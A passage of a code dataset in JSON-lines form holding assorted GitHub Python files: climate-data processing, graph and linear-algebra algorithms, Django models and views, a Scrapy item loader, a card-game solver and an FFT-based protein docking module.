gen_output(fout)\nncOUT.close()\nprint(f\"Saving to:{fout}\")\n\n\n## Load surface data with open_zarr() \n# json file was already prepared with gribscan-index and gribscan-build command line tools\nt0_ = time.time()\nif resol == 'tco1279-orca025':\n  datazarr = \"/work/bm1235/a270046/cycle2-sync/tco1279-orca025/nemo_deep/ICMGGc2/json.dir/atm2d_v0.json\" \nelif resol ==   'tco3999-ng5':\n  datazarr='/work/bm1235/a270046/cycle2-sync/tco3999-ng5/ICMGGc2/json.dir/atm2d.json' \nelif resol == 'tco2559-ng5':\n  datazarr = '/work/bm1235/a270046/cycle2-sync/tco2559-ng5/ICMGGall_update/json.dir/atm2d.json'\nprint(\"Loading: \",datazarr)\ndata = xr.open_zarr(\"reference::\"+datazarr, consolidated=False)\nprint(f\"loaded data list {datazarr} in {time.time()-t0_:.1f} sec\") \n\n\n## Get the grid \nmodel_lon = np.where(data.lon.values>180, data.lon.values-360, data.lon.values)\nmodel_lat = data.lat.values\n\n## Select region of interest \nreg = ( (model_lat>-81) & (model_lat<81) &\n         (model_lon >-81) & (model_lon<81) )\nnpp = np.sum(reg)\npoints_ifs = np.vstack((model_lon[reg], model_lat[reg])).T\n\n## Main work \nndays = (YM.replace(month = YM.month % 12 +1, day = 1)-dt.timedelta(days=1)).day\n## Main loop on hours for diurnal cycle \nfor ih in range(24):\n  t0H = time.time()\n  nslotSTP = 0\n  zAVG = np.zeros(npp,'f4')\n  zVAL = np.zeros(npp,'i4')\n  # loop on days of month \n  for iday in range(ndays):\n    slot = YM+dt.timedelta(days=iday)+dt.timedelta(hours=ih)\n    nslotSTP = nslotSTP + 1\n    print(\"loading\",slot)\n    # load data into memory \n    skt = data.skt.sel(time=slot)[reg] - 273.16\n    tcc = data.tcc.sel(time=slot)[reg]\n    \n    # select only clear sky \n    xOK = tcc <= tcc_min\n    zVAL[xOK] = zVAL[xOK] + 1 \n    zAVG[xOK] = zAVG[xOK] + skt[xOK]\n    \n  #compute averages \n  zAVG = np.where(zVAL>0,zAVG / zVAL,ZFILL)\n  zVAL = np.where(zVAL>0,zVAL/nslotSTP,0)\n  \n  # write to output \n  ncOUT =  Dataset(fout,'a',format='NETCDF4')\n  ncOUT.variables['time'][ih] = ih\n  ncOUT.variables['NSLOT'][ih] = nslotSTP\n    \n  ncOUT.variables['LST'][ih,:,:] = inter2D(zAVG)\n  ncOUT.variables['FVALID'][ih,:,:] = inter2D(zVAL)\n  \n  print(f\"Processed {ddate} hour {ih} with {nslotSTP} slots in {time.time()-t0H:.1f} sec\") \n \n  ncOUT.close()\nprint(f\"finished in {time.time()-t0:.1f} sec\") \n","repo_name":"nextGEMS/nextGems_Cycle2","sub_path":"skt_diurnal/process_ifs_skt.py","file_name":"process_ifs_skt.py","file_ext":"py","file_size_in_byte":4882,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"}
+{"seq_id":"40065062237","text":"#!/usr/bin/env python\n\nimport os\nfrom typing import Dict, Type\n\nimport fire\nimport tensorflow as tf\nimport tensorflow_datasets as tfds\nimport tensorflow_hub as hub\nimport yaml\nfrom nptyping import NDArray\n\nfrom mldiag.services import Service\nfrom mldiag.session import DiagSession\nfrom mldiag.wrappers import txt_tfds_to_numpy, tf_model_to_service\n\n\ndef wrap_tfds_as_data(\n        custom_config: Dict\n) -> NDArray:\n    train_data, validation_data, test_data = tfds.load(\n        name=\"imdb_reviews\",\n        split=('train[:99%]', 'train[1%:]', 'test'),\n        as_supervised=True,\n        batch_size=custom_config[\"batch_size\"]\n    )\n    return txt_tfds_to_numpy(test_data.take(1))\n\n\ndef wrap_tf_model_as_service(model_path: str) -> Type[Service]:\n    return tf_model_to_service(\n        filepath=model_path,\n        custom_objects={'KerasLayer': hub.KerasLayer}\n    )\n\n\nclass DiagTextClassification(object):\n\n    def __init__(self):\n        # Load a config file\n        config_path = os.path.join(os.path.dirname(__file__),\n                                   \"config_text_classification.yaml\")\n        with open(config_path) as file:\n            self.custom_config = yaml.load(file, Loader=yaml.FullLoader)\n        self._default_model_path = os.path.join(os.path.dirname(__file__),\n                                                \"model.h5\")\n\n    def run(self,\n            model_path=None,\n            report_path=None):\n        if model_path is None:\n            model_path = self._default_model_path\n        # run diag session\n        DiagSession(\n            config=self.custom_config,\n            eval_set=wrap_tfds_as_data(self.custom_config),\n            service=wrap_tf_model_as_service(model_path),\n            metric=tf.keras.metrics.BinaryAccuracy(),\n            report_path=report_path\n        ).run()\n\n\ndef main():\n    fire.Fire(DiagTextClassification)\n\nif __name__ == '__main__':\n    main()\n","repo_name":"S-AI-F/MLDiag-1","sub_path":"examples/text_classification/tf_text_classification_diag.py","file_name":"tf_text_classification_diag.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"42416955956","text":"def articulation_points(graph, n):\n    vis = [0]*n\n    tin = [0]*n\n    low = [0]*n\n    pts = set()\n\n    def dfs(node, parent, timer):\n\n        vis[node] = 1\n        tin[node] = low[node] = timer\n        timer += 1\n\n        child = 0\n\n        for neigh in graph[node]:\n            if parent == neigh:\n                continue\n\n            if vis[neigh] == 0:\n                dfs(neigh, node, timer)\n\n                low[node] = min(low[node], low[neigh])\n                if parent != -1 and low[neigh] >= tin[node]:\n                    pts.add(node)\n                child += 1\n            else:\n                low[node] = min(low[node], tin[neigh])\n\n        if parent == -1 and child > 1:\n            pts.add(node)\n\n    timer = 0\n    for i in range(n):\n\n        if vis[i] == 0:\n            dfs(i, -1, timer)\n\n    print(pts)\n\n\ngraph = {\n    0: [1, 13],\n    1: [0, 2, 4],\n    2: [1, 3],\n    3: [2, 4],\n    4: [1, 5],\n    5: [4, 6],\n    6: [7, 9],\n    7: [6, 8],\n    8: [7, 10, 9],\n    9: [6, 8],\n    10: [8, 11, 12],\n    11: [10, 12],\n    12: [10, 11],\n    13: [0],\n}\n\narticulation_points(graph, 14)\n","repo_name":"AlokPratapSingh22/Algos","sub_path":"Graphs/articulation_pt.py","file_name":"articulation_pt.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"70728851254","text":"# qr.py : QR分解法\r\nimport numpy as np\r\nimport scipy.linalg as sclinalg\r\n# 時間計測\r\nimport time\r\n\r\n\r\n# QR分解法\r\ndef qr(mat_a, rtol, atol, max_times):\r\n    row_dim, col_dim = mat_a.shape\r\n    if row_dim != col_dim:\r\n        return 0, 0\r\n\r\n    dim = row_dim\r\n\r\n    rq = mat_a\r\n    old_diagonal = np.array([mat_a[i, i] for i in range(dim)])\r\n\r\n    # メインループ\r\n    for times in range(max_times):\r\n        # QR分解\r\n        q, r = sclinalg.qr(rq, pivoting=False)\r\n        # RQ生成\r\n        rq = r @ q\r\n\r\n        if times % 10 == 0:\r\n            print('times = ', times)\r\n            print(rq)\r\n\r\n        new_diagonal = np.array([rq[i, i] for i in range(dim)])\r\n        diff_diagonal = new_diagonal - old_diagonal\r\n\r\n        # 収束判定\r\n        if np.linalg.norm(diff_diagonal) <= (rtol * np.linalg.norm(new_diagonal) + atol):\r\n            break\r\n\r\n        old_diagonal = new_diagonal\r\n\r\n    return rq, times\r\n\r\n\r\n# 行列サイズ\r\nstr_dim = input('正方行列サイズ dim = ')\r\ndim = int(str_dim)  # 文字列→整数\r\n\r\n# (1)\r\nmat_a = np.zeros((dim, dim))\r\nfor i in range(dim):\r\n    for j in range(dim):\r\n        mat_a[i, j] = float(dim - max(i, j))\r\n\r\nprint('mat_a = \\n', mat_a)\r\n\r\n# QR分解法実行\r\nstart_time1 = time.time()\r\nqr, iterative_times = qr(mat_a, 1.0e-15, 0.0, 51)\r\ntime1 = time.time() - start_time1\r\n\r\nprint('QR: iteration, time = ', iterative_times, time1)\r\nprint(' i        eigenvalues ')\r\nfor i in range(dim):\r\n    print(f'{i:2d} {qr[i, i]:25.17e}')\r\n\r\n\r\n# -------------------------------------\r\n# Copyright (c) 2021 Tomonori Kouya\r\n# All rights reserved.\r\n# -------------------------------------\r\n","repo_name":"tkouya/inapy","sub_path":"chapter09/qr.py","file_name":"qr.py","file_ext":"py","file_size_in_byte":1648,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"21"}
+{"seq_id":"187065602","text":"# -*- coding: utf-8 -*-\n\nfrom scrapy import Field, Item\nfrom scrapy.loader import ItemLoader\nfrom scrapy.loader.processors import MapCompose, TakeFirst\n\n\nclass GtrendsScraperItem(Item):\n    title = Field()\n    publisher = Field()\n    since_published = Field()\n    time_scraped = Field()\n    story = Field()\n    link = Field()\n\n\nclass GtrendsItemLoader(ItemLoader):\n    default_input_processor = MapCompose(unicode.strip)\n    default_output_processor = TakeFirst()\n    \n    time_scraped_in = MapCompose(\n        lambda x: unicode(x).strip()\n    )\n","repo_name":"ralphqq/trending_business_news_scraper","sub_path":"gtrends_scraper/items.py","file_name":"items.py","file_ext":"py","file_size_in_byte":546,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"4596704675","text":"# 狄克斯特拉算法\ngraph = {}\ngraph['start'] = {}\ngraph['start']['a'] = 6\ngraph['start']['b'] = 2\ngraph['a'] = {}\ngraph['a']['fin'] = 1\ngraph['b'] = {}\ngraph['b']['a'] = 3\ngraph['b']['fin'] = 5\ngraph['fin'] = {} # 创建图的散列表\n\ninfinity = float('inf')\ncosts = {}\ncosts['a'] = 6\ncosts['b'] = 2\ncosts['fin'] = infinity # 创建开销表\n\nparents = {}\nparents['a'] = 'start'\nparents['b'] = 'start'\nparents['fin'] = None # 创建父节点表\n\nprocessed = [] # 处理过的节点\n\n\ndef find_lowest_cost_node(costs):\n    lowest_cost = float('inf')\n    lowest_cost_node = None\n\n    for node in costs: # 遍历所有节点\n        cost = costs[node]\n        if cost < lowest_cost and node not in processed: # 开销更低且未被处理过\n            lowest_cost = cost # 视其为开销最小的节点\n            lowest_cost_node = node\n\n    return lowest_cost_node\n\n\nnode = find_lowest_cost_node(costs)\nwhile node is not None:\n    cost = costs[node]\n    neighbors = graph[node]\n\n    for n in neighbors.keys():\n        new_cost = cost + neighbors[n]\n        if costs[n] > new_cost:\n            costs[n] = new_cost\n            parents[n] = node\n\n    processed.append(node)\n    node = find_lowest_cost_node(costs)\n\nprint(costs)\n\n\n\n\n","repo_name":"jszheng/PyChild","sub_path":"basic/python_Data_Structure/Dijkstra_algorithm.py","file_name":"Dijkstra_algorithm.py","file_ext":"py","file_size_in_byte":1239,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"25567242498","text":"from django.urls import path\n\nfrom Course_reg import views as Cviews\nfrom . import views as Uviews\n\nurlpatterns = [\n    path('', Uviews.index, name='index'),\n    path('login', Uviews.login_view, name='login'),\n    path('logout', Uviews.logout_view, name='logout'),\n    path('register', Uviews.register_view, name='register'),\n    path('enrolled', Uviews.enrolled_view, name='enrolled'),\n    path('enroll', Uviews.enroll, name='enroll'),\n    path('del_enroll', Uviews.del_enroll, name='del_enroll'),\n    path('../Course_reg', Cviews.course, name='course')\n]","repo_name":"6310682577/cn331_as2","sub_path":"Course_registrations/users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23842861215","text":"import uuid\nfrom django.db import models\n\n\n# Create your models here.\nclass ServiceType(models.Model):\n    \"\"\"\n    Class to save type of services\n     Example:\n         - Luz\n         - Agua\n         - Gas\n    \"\"\"\n    name = models.CharField(max_length=20)\n    active = models.BooleanField(default=True)\n    created_at = models.DateTimeField(null=True, auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, auto_now=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass StatusPayable(models.Model):\n    \"\"\"\n    Class to save status of payable\n     Example:\n         - Paid\n         - Pending\n         - Rejected\n    \"\"\"\n    name = models.CharField(max_length=20)\n    active = models.BooleanField(default=True)\n    created_at = models.DateTimeField(null=True, auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, auto_now=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass Payables(models.Model):\n    \"\"\"\n    Class to save payable record\n    \"\"\"\n    bar_code = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n    status = models.ForeignKey('payment_tax_service.StatusPayable', on_delete=models.CASCADE)\n    type_service = models.ForeignKey('payment_tax_service.ServiceType', on_delete=models.CASCADE)\n    description = models.TextField()\n    importe = models.DecimalField(max_digits=10, decimal_places=2)\n    due_date = models.DateField()\n    created_at = models.DateTimeField(null=True, auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, auto_now=True)\n\n\nclass MethodTransaction(models.Model):\n    \"\"\"\n    Class to save the methods of payment transaction\n     Example:\n         - debit_card\n         - credit_card\n         - cash\n    \"\"\"\n    name = models.CharField(max_length=20)\n    active = models.BooleanField(default=True)\n    created_at = models.DateTimeField(null=True, auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, auto_now=True)\n\n    def __str__(self):\n        return self.name\n\n\nclass Transactions(models.Model):\n    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)\n    method_transaction = models.ForeignKey('payment_tax_service.MethodTransaction', on_delete=models.CASCADE)\n    payable = models.ForeignKey('payment_tax_service.Payables', on_delete=models.CASCADE)\n    number_card = models.CharField(max_length=30, editable=False, null=True, blank=True)\n    importe_pago = models.DecimalField(max_digits=10, decimal_places=2)\n    description = models.TextField(null=True, blank=True)\n    pay_date = models.DateField()\n    created_at = models.DateTimeField(null=True, auto_now_add=True)\n    updated_at = models.DateTimeField(null=True, auto_now=True)\n","repo_name":"fernandohernandezpaz/desafio_backend","sub_path":"payment_tax_service/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"24567966857","text":"import os\nfrom definitions import ROOT_DIR, PROFILE_FILES\nfrom log import logging\n\ndef mv_files(files_list=None):\n    if files_list is None:\n        files_list = PROFILE_FILES\n    for i in files_list:\n        old_path = os.path.join(ROOT_DIR, i)\n        new_path = os.path.join(ROOT_DIR, \"myopenaps\",\"settings\",i)\n        # print(\"Move:\")\n        # print(old_path)\n        # print(\"To:\")\n        # print(new_path)\n        os.replace(old_path, new_path)\n\ndef checkdir(dir):\n    if not os.path.isdir(dir):\n        logging.error(\"Directory not found\")\n        try:\n            os.makedirs(dir)\n        except Exception as e:\n            logging.error(\"Error occured during opening directory:\"+dir)\n            logging.error(e)","repo_name":"KelvinKramp/Autotune123","sub_path":"file_management.py","file_name":"file_management.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"10198320323","text":"import datetime\nimport os\nimport uuid\n\nfrom django.shortcuts import render\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.http import JsonResponse, HttpResponse, Http404\nfrom django.conf import settings\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom accounts.models import UserModel\nfrom accounts.viewmodels import UserModelSerializer\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n\n# Create your views here.\n\n\n@csrf_exempt\ndef fileupload(request):\n    if request.method == 'POST':\n        urls = []\n        for filename in request.FILES:\n            timestr = datetime.datetime.now().strftime('%Y/%m/%d')\n\n            basepath = r'{base}/image/{timestr}'.format(timestr=timestr, base='/var/www/resource/')\n\n            if not os.path.exists(basepath):\n                os.makedirs(basepath)\n            ext = os.path.splitext(filename)[1]\n            savefilename = str(uuid.uuid4()) + ext\n\n            savepath = os.path.join(basepath, savefilename)\n            with open(savepath, 'wb+') as wfile:\n                for chunk in request.FILES[filename].chunks():\n                    wfile.write(chunk)\n            if ext in ['.jpg', '.png', 'jpeg']:\n                from PIL import Image\n                image = Image.open(savepath)\n                image.save(savepath, quality=20, optimize=True)\n            url = 'https://resource.lylinux.net/image/{timestr}/{filename}'.format(timestr=timestr, filename=savefilename)\n            urls.append(url)\n\n        return JsonResponse({\n            'code': 200,\n            'msg': '',\n            'data': urls\n        })\n\n    else:\n        return JsonResponse({\n            'code': 404,\n            'msg': 'only for post',\n            'data': ''\n        }, status=status.HTTP_404_NOT_FOUND)\n\n\ndef check_is_uuid():\n    def wrapper(func):\n        def check(*args, **kwargs):\n            id = kwargs.get('pk')\n            try:\n                id = uuid.UUID(id)\n                kwargs['pk'] = id\n            except:\n                raise Http404\n            return func(*args, **kwargs)\n\n        return check\n\n    return wrapper\n\n\nclass UserObjectApi(APIView):\n    def get_object(self, pk):\n        user = get_object_or_404(UserModel, id=pk)\n        return user\n\n    @check_is_uuid()\n    def get(self, request, pk, format=None):\n        logger.info(pk)\n        user = self.get_object(pk)\n        serializer = UserModelSerializer(user)\n        return Response(serializer.data)\n\n    @check_is_uuid()\n    def put(self, request, pk, format=None):\n        logger.info(pk)\n        user = self.get_object(pk)\n        serializer = UserModelSerializer(user, data=request.data)\n        if serializer.is_valid():\n            serializer.save()\n            return Response(serializer.data)\n        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n    def post(self, request, format=None):\n        user = UserModelSerializer(data=request.data)\n        if user.is_valid():\n            user.save()\n            return Response(user.data, status=status.HTTP_201_CREATED)\n        return Response(user.errors, status=status.HTTP_400_BAD_REQUEST)\n","repo_name":"XiaoBiaoBai/xiaobiaobai.api","sub_path":"accounts/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"17516882190","text":"import sys\nsys.stdin = open('input.txt')\n\nT = int(input())\n\ndef check(card_list):           # run, triplet 검사\n    global rlt\n    cnt_list = [0] * 10         # 카드 개수 cnt\n    for card in card_list:\n        cnt_list[card] += 1\n\n    if 3 in cnt_list:           # run 검사\n        rlt = 1\n        return\n\n    for i in range(8):          # triplet 검사 \n        if cnt_list[i] != 0 and cnt_list[i]*cnt_list[i+1]*cnt_list[i+2] != 0:   # 처음 cnt 값이 0이 아니고 뒤에도 0이 아니어아 하니까\n            rlt = 1\n            return\n\nfor tc in range(1, T + 1):\n    arr = list(map(int, input().split()))\n    player1 = []\n    player2 = []\n    rlt = 0\n    for i in range(0, len(arr), 2):         # 2씩 증가시켜 카드 2장씩 받아온다\n        player1.append(arr[i])\n        player2.append(arr[i+1])\n        if i >= 4:                          # 카드가 3장 이상씩 되면 검사 한다.\n            check(player1)                  # player1 먼저 검사\n            if rlt != 0:                    # rlt 에 값 들어오면 둘 중 하나 검출\n                rlt = 1\n                break\n            check(player2)                  # player2 검사\n            if rlt != 0:\n                rlt = 2\n                break\n\n    print(f'#{tc} {rlt}')","repo_name":"Sangtaek-Lee/Algorithm","sub_path":"problem/0329/5203/sol1.py","file_name":"sol1.py","file_ext":"py","file_size_in_byte":1286,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"23995752568","text":"import os\nimport multiprocessing\nfrom collections import OrderedDict\n\nimport numpy as np\nimport torch\nimport pytorch_lightning as pl\n\nfrom toil.job import Job\n\nfrom DataAugmenter import DataAugmenter, voxelize\nfrom molmimic.util.pdb import tidy\n#from molmimic.parsers.CNS import Minimize\n\ndef roll_n(X, axis, n):\n    \"\"\"https://github.com/tomrunia/PyTorchSteerablePyramid/blob/0b6514d81f669b52767689a5780c88087ea2c191/steerable/math_utils.py\"\"\"\n    f_idx = tuple(slice(None, None, None) if i != axis else slice(0, n, None) for i in range(X.dim()))\n    b_idx = tuple(slice(None, None, None) if i != axis else slice(n, None, None) for i in range(X.dim()))\n    front = X[f_idx]\n    back = X[b_idx]\n    return torch.cat([back, front], axis)\n\ndef batch_fftshift(x):\n    real, imag = torch.unbind(x, -1)\n    print(real.size(), imag.size())\n    for dim in range(1, len(real.size())):\n        n_shift = real.size(dim)//2\n        if real.size(dim) % 2 != 0:\n            n_shift += 1  # for odd-sized images\n        real = roll_n(real, axis=dim, n=n_shift)\n        imag = roll_n(imag, axis=dim, n=n_shift)\n    return torch.stack((real, imag), -1)  # last dim=2 (real&imag)\n\ndef batch_ifftshift(x):\n    real, imag = torch.unbind(x, -1)\n    for dim in range(len(real.size()) - 1, 0, -1):\n        real = roll_n(real, axis=dim, n=real.size(dim)//2)\n        imag = roll_n(imag, axis=dim, n=imag.size(dim)//2)\n    return torch.stack((real, imag), -1)  # last dim=2 (real&imag)\n\ndef normalize(v, eps=1e-6):\n    norm=np.linalg.norm(v, ord=1)\n    return v/norm if norm!=0 else v/eps\n\nclass DockPair(pl.LightningModule):\n\n    def __init__(self, receptor, ligand, hparams, rfft=True):\n        # init superclass\n        super(DockPair, self).__init__()\n        \n        self.hparams = hparams\n        \n        self.rotation = None\n        self.translation = None\n        self.energy = None\n        \n        self.receptor = receptor\n        self.ligand = ligand\n        \n        self.receptor_size = self.receptor.get_max_length(buffer=25)\n        self.ligand_size = self.ligand.get_max_length(buffer=25)\n        \n        if self.ligand_size > self.receptor_size:\n            #Resize receptor\n            self.receptor.resize_volume(self.ligand_size)\n            self.ligand.resize_volume(self.ligand_size)\n            \n            #Swap receptor and ligand so receptor is always largest\n            ligand_ = self.ligand\n            ligand_size_ = self.ligand_size\n            self.ligand = self.receptor\n            self.receptor = ligand_\n            self.ligand_side = self.receptor_size\n            self.receptor_size = ligand_size_\n        else:\n            #Resize ligand\n            self.receptor.resize_volume(self.receptor_size)\n            self.ligand.resize_volume(self.receptor_size)\n            \n        #Voxelize receptor\n        self.receptor_volume = voxelize(self.receptor)\n        \n        self.rfft = rfft\n\n        #Create Fourier image of receptor\n        if rfft and self.receptor_volume.size()[-1] == 2:\n            self.receptor_volume = self.receptor_volume[:, : , :, 0].resize(*self.receptor_volume.size()[:3])\n            self.receptor_fft = torch.rfft(self.receptor_volume, 3).cpu()\n        else:\n            self.receptor_fft = torch.fft(self.receptor_volume, 3).cpu()\n        \n        #Take the complex conjugate of receptor\n        self.receptor_fft = self.receptor_fft.conj()\n        #self.receptor_fft[:,1] *= -1\n    \n    def get_complex(self):\n        assert self.energy is not None\n        \n        def write(r, l, h, f):\n            with open(f, \"w\") as complex_pdb:\n                print(h, file=complex_pdb)\n                for line in r:\n                    if not line.startswith(\"END\"):\n                        print(line.rstrip(), file=complex_pdb)\n                for line in l:\n                    print(line.rstrip(), file=complex_pdb)\n        \n        #Rotate ligand to best orientation\n        next(self.ligand.rotate(self.rotation))\n\n        complex_file = \"{}_predicted_complex.pdb\".format(os.path.basename(self.receptor.path).split(\"_\")[0])\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, \"\", complex_file+\".notrans.pdb\")\n\n        #self.ligand.shift_coords(self.receptor\n        self.ligand.shift_coords(self.translation, from_origin=False)\n\n        header = \"REMARK Best Energy={}; Best Translation={}; \\n\".format(self.energy, self.translation)\n        header += \"REMARK Best Rotation Matrix:\\n\"\n        for line in str(self.rotation).splitlines():\n            header += \"REMARK     \"+line.rstrip()+\"\\n\"\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file)\n        \n        self.ligand.shift_coords_to_volume_center()\n        \n        t2 = []\n        for i in self.translation:\n            if i>self.ligand.volume/2:\n                t2.append(self.ligand.volume-i)\n            else:\n                t2.append(i)\n        self.ligand.shift_coords(t2, from_origin=False)\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file+\".shift.pdb\")\n        \n        self.ligand.shift_coords_to_volume_center()\n        \n        t2 = []\n        for i in self.translation:\n            t2.append(self.ligand.volume-i)\n        self.ligand.shift_coords(t2, from_origin=False)\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file+\".shift2.pdb\")\n        \n        self.ligand.shift_coords_to_volume_center()\n        \n        t2 = []\n        for i in self.translation:\n            t2.append(self.ligand.volume/2-i)\n        self.ligand.shift_coords(t2, from_origin=False)\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file+\".shift3.pdb\")\n        \n        self.ligand.shift_coords_to_volume_center()\n        \n        t2 = np.array(self.translation)-np.array([self.ligand.volume/2]*3)\n        self.ligand.shift_coords(t2, from_origin=False)\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file+\".shift4.pdb\")\n        \n        self.ligand.shift_coords_to_volume_center()\n        \n        self.ligand.shift_coords(self.translation, from_origin=True)\n        \n        receptor_pdb = self.receptor.save_pdb(file_like=True)\n        ligand_pdb = self.ligand.save_pdb(file_like=True)\n        \n        write(receptor_pdb, ligand_pdb, header, complex_file+\".shift4.pdb\")\n        \n        \n        #Minimize using CNS\n        #complex_file, cns_results = Minimize(complex_file, work_dir=os.dirname(self.receptor.path), job=Job())\n\n        print(list(self.receptor.structure.get_chains()), list(self.ligand.structure.get_chains()))\n\n    def forward(self, rvs, ligand_volumes, shift=False):\n        #Create Fourier image of ligand\n        if self.rfft and ligand_volumes.size()[-1] == 2:\n            ligand_volumes = ligand_volumes[:, :, : , :, 0].resize(*ligand_volumes.size()[:-1])\n            ligand_fft = torch.rfft(ligand_volumes, 3)\n        else:\n            ligand_fft = torch.fft(ligand_volumes, 3)\n            \n        #Create Fourier image of rotated ligand\n        #ligand_fft = torch.fft(ligand_volumes, 3)\n        \n        #Calculate energy using the convolution thm and correlation\n        if self.rfft:\n            energy = torch.irfft(self.receptor_fft.to(ligand_fft.device)*ligand_fft, 3)\n        else:\n            energy = torch.ifft(self.receptor_fft.to(ligand_fft.device)*ligand_fft, 3)\n        \n            if shift:\n                energy = batch_ifftshift(energy)\n\n            energy = energy[:, :, :, 0]\n        \n        print(energy)\n        print(energy.size())\n\n        #energy = energy.reshape(energy.size()[:-1])\n        \n        #Get index with lowest energy, \n        maxval_z, ind_z = torch.max(energy, dim=3, keepdim=False)\n        maxval_y, ind_y = torch.max(maxval_z, dim=2)\n        maxval_x, ind_x = torch.max(maxval_y, dim=1)\n        maxval_batch, ind_batch = torch.max(maxval_x, dim=0)\n        \n        #print(ind_x)\n        \n        batch = ind_batch.item()\n        x = ind_x[batch].item()\n        y = ind_y[batch, x].item()\n        z = ind_z[batch, x, y].item()\n        \n        translation = (x, y, z)\n        rotation = rvs[batch]\n        low_energy = energy[batch, x, y, z]\n        \n        return translation, rotation, low_energy\n\n    def training_step(self, batch, batch_num):\n        rvs, volumes = batch\n        translation, rotation, energy = self.forward(rvs, volumes)\n        \n        #return translation, rotation, energy\n        \n        if self.energy is None or energy>self.energy:\n            self.rotation = rotation\n            self.translation = translation\n            self.energy = energy\n    \n        tqdm_dict = {'loss': energy.item(), 'energy': self.energy, \"translation\":translation}\n        output = OrderedDict({\n            'loss': energy,\n            'progress_bar': tqdm_dict,\n            'log': {'loss': energy.item(), 'energy': self.energy}\n        })\n        return output\n    \n    def test_step(self, batch, batch_num):\n        return self.training_step(batch, batch_num)\n    \n    def test_step_end(self, batch):\n        print(batch)\n        return batch\n    \n    def backward(self, closure_loss, optimizer, opt_idx):\n        return\n    \n    def optimizer_step(self, current_epoch, batch_nb, optimizer, optimizer_i,\n      second_order_closure=None):\n        return\n\n#     def training_end(self, batch):\n#         print(batch)\n#         print(batch[0][2])\n#         translation, rotation, energy = min(batch, key=lambda b: b[2]) \n        \n#         if self.energy is None or energy<self.energy:\n#             self.rotation = rotation\n#             self.translation = translation\n#             self.energy = energy\n\n#         tqdm_dict = {'energy': self.energy, \"translation\":self.translation}\n#         output = OrderedDict({\n#             'loss': energy,\n#             'progress_bar': tqdm_dict,\n#             'log': tqdm_dict\n#         })\n\n#         return output\n    \n\n    def train_dataloader(self):\n        num_workers = int(os.environ.get(\"SLURM_CPUS_PER_TASK\", multiprocessing.cpu_count()))-1\n        return DataAugmenter(\n            self.ligand,\n            num_rotations=self.hparams.num_rotations,\n            batch_size=self.hparams.batch_size,\n            num_workers=num_workers,\n            distributed=self.hparams.distributed_backend in [\"ddp\", \"ddp2\"]\n            )._get_data_loader()\n    \n    def test_dataloader(self):\n        return self.train_dataloader()\n    \n    def configure_optimizers(self):\n        return [None]","repo_name":"ssklar3/SignalsProject","sub_path":"DockPair.py","file_name":"DockPair.py","file_ext":"py","file_size_in_byte":11165,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
